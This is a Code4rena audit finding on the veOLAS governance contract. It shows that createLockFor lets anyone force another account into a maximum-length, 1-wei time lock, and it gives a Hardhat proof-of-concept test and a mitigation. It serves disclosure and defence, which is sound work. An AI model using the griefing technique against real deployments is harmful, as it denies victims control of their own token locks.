Lucene search

K
code423n4Code4renaCODE423N4:2023-12-AUTONOLAS-FINDINGS-ISSUES-383
HistoryJan 08, 2024 - 12:00 a.m.

griefer can create maximum length time locks for other users with only dust

2024-01-0800:00:00
Code4rena
github.com
2
veolas protocol
voting token
time lock
user account
malicious activity
grief
olas
maximum duration
vulnerability
denial of service
mitigation steps

6.8 Medium

AI Score

Confidence

Low

Lines of code

Vulnerability details

Description

veOLAS is the voting token for the OLAS protocol. It functions like the curve.fi voting token in that a user gets more votes the longer they lock their tokens.

A user can create a lock for themselves or have another user create a lock for them, using veOLAS::createLockFor:

File: governance/contracts/veOLAS.sol

411:    function createLockFor(address account, uint256 amount, uint256 unlockTime) external {
412:        // Check if the account address is zero
413:        if (account == address(0)) {
414:            revert ZeroAddress();
415:        }
416:
417:        _createLockFor(account, amount, unlockTime);
418:    }

The issue is that the user creating the lock sets the unlock time. Hence a malicious user could create a lock for another account for max time using just 1 wei of OLAS. Thus the victim would be stuck with a max time lock that they cannot decrease.

Impact

A malicious user can grief by creating locks for other users for max time with just 1 wei. Thus the user is stuck with a maximum time lock.

Proof of Concept

Test that can be added to governance/test/veOLAS.js:

        it("Create lock prevented by attacker", async function () {
            const owner = signers[0];
            const account = signers[1];
            const attacker = signers[2];

            await olas.connect(owner).transfer(account.address,oneOLABalance);
            await olas.connect(owner).transfer(attacker.address,1);
            
            await olas.connect(attacker).approve(ve.address, 1);

            const maxDuration = 4 * 365 * 86400; // max time

            // attacker locks 1 wei for max duration
            await ve.connect(attacker).createLockFor(account.address, 1, maxDuration);

            // Lock end is maximum time
            const lockEnd = await ve.lockedEnd(account.address);
            const blockNumber = await ethers.provider.getBlockNumber();
            const block = await ethers.provider.getBlock(blockNumber);
            expect(Math.floor((block.timestamp + maxDuration) / oneWeek) * oneWeek).to.equal(lockEnd);

            // Account balance is 1 wei
            const pv = await ve.getLastUserPoint(account.address);
            expect(pv.balance).to.equal(1);

            // account tries to create lock but fails since lock is already there
            const lockDuration = oneWeek; // 1 week from now
            await olas.connect(account).approve(ve.address, oneOLABalance);
            await expect(
                ve.connect(account).createLock(oneOLABalance, lockDuration)
            ).to.be.revertedWithCustomError(ve, "LockedValueNotZero");
        });

Tools Used

Manual audit

Recommended Mitigation Steps

Consider not allowing users create locks for other users. The original curve implementation does not have this.

Assessed type

DoS


The text was updated successfully, but these errors were encountered:

All reactions

6.8 Medium

AI Score

Confidence

Low